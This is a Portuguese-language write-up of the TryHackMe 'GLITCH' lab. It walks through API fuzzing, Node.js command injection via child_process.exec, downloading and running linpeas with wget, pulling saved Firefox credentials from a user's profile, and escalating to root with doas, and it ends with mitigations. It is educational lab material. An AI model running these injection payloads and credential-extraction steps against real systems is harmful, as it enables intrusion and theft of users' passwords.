Introdução

Neste write-up, demonstro a exploração da máquina GLITCH da plataforma TryHackMe.

O desafio apresenta uma aplicação web vulnerável que permite a exploração de uma Command Injection, resultando em execução remota de comandos e posterior escalonamento de privilégios até root.

O objetivo é mostrar uma abordagem prática e objetiva, simulando um cenário real de pentest.

Reconhecimento

Iniciei com uma varredura de portas utilizando Nmap:

nmap -sC -sV <IP>

Resultado:

  • Apenas a porta 80 (HTTP) estava aberta Indicando que a superfície de ataque está na aplicação web
None

Enumeração da aplicação

Ao acessar a aplicação no navegador, não encontrei funcionalidades relevantes inicialmente.

Porém, ao inspecionar o código-fonte da página, identifiquei um script JavaScript que realizava requisições para uma API interna.

Endpoint identificado:

/api/access
None

Ao acessar esse endpoint, recebi um valor codificado em Base64.

None

Decodificação

Após decodificar o conteúdo obtive a primeira flag

echo "<token>" | base64 -d
None

Para a segunda flag fiz um Fuzzing a partir do /api/ para tentar encontrar mais endpoints

ffuf -u http://<IP>/api/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints-res.txt
None

Acessei a API e não encontrei na de relevante.

None

Realizei mais um Fuzzing, desta vez no objeto.

A próxima dica sugeria:

"Qual outro método a API aceita?"

Isso indicava possível comportamento diferente com outros métodos HTTP.

Testes realizados:

  • GET → sem resultado relevante
  • POST → comportamento diferente
ffuf -u http://<IP>/api/items\?FUZZ\=TEST -w /usr/share/seclists/Discovery/Web-Content/api/objects.txt -fs 169 -X POST

Ao testar POST, identifiquei um parâmetro interessante:

cmd

None

Identificação da vulnerabilidade

O parâmetro cmd indicava possível execução de comandos no backend.

Isso caracteriza uma Command Injection

Realizei a requisição com o Burp Suite obtendo um erro na resposta.

None

Exploração (RCE via Node.js)

A aplicação retornava respostas em JavaScript, sugerindo backend em Node.js.

Com isso, utilizei o módulo child_process para execução de comandos:

require("child_process").exec("<comando>")

Para contornar possíveis filtros, utilizei URL Encoding no payload.

None
None

Acesso ao sistema

Após o envio do payload, obtive acesso remoto ao servidor via shell. Durante a fase de pós-exploração, ao navegar até o diretório /home/user, foi possível localizar a segunda flag.

None
None

Escalação de privilégios

Para identificar possíveis vetores de privilege escalation, utilizei o:

  • LinPEAS
wget http://<IP>/linpeas.sh -O /tmp/linpeas.sh
chmod +x /tmp/linpeas.sh
./linpeas.sh
None

Descoberta crítica

O script destacou informações relacionadas ao DOAS, indicando possível execução de comandos como root

Foi identificado um usuário chamado v0id, porém não havia informações úteis diretamente no diretório dele.

None

Exploração do perfil do navegador

Durante a análise, encontrei um diretório oculto do:

  • Firefox

O Firefox armazena credenciais localmente no perfil do usuário, o que pode representar um risco quando essas informações não estão devidamente protegidas.

None

Compactei e transferi o conteúdo para minha máquina:

tar -czvf firefox.tar.gz .mozilla/

Descompactei a pasta na minha máquina e rodei o comando:

firefox --profile b5w4643p.default-release --allow-downgrade

Foi possível acessar credenciais salvas no navegador

None

Acesso como usuário privilegiado

Utilizando a senha obtida:

su v0id

Acesso root

Com o usuário v0id, executei:

doas -u root /bin/sh

Obtendo acesso root

Flag final

cat /root/root.txt
None

Impacto da vulnerabilidade

A exploração permitiu:

  • Execução remota de comandos (RCE)
  • Acesso ao sistema operacional
  • Extração de credenciais sensíveis
  • Escalonamento de privilégios
  • Comprometimento total da máquina

Mitigações

Para evitar esse tipo de vulnerabilidade:

  • Validar e sanitizar entradas do usuário
  • Evitar execução direta de comandos no backend
  • Utilizar listas de permissões (whitelisting)
  • Proteger credenciais armazenadas em navegadores
  • Restringir permissões de ferramentas como doas

Conclusão

A máquina GLITCH é um excelente desafio introdutório que aborda:

  • Exploração de APIs
  • Command Injection
  • Reverse Shell
  • Privilege Escalation
  • Exposição de credenciais via navegador

Além disso, reforça a importância de boas práticas de segurança tanto no desenvolvimento quanto na configuração do sistema.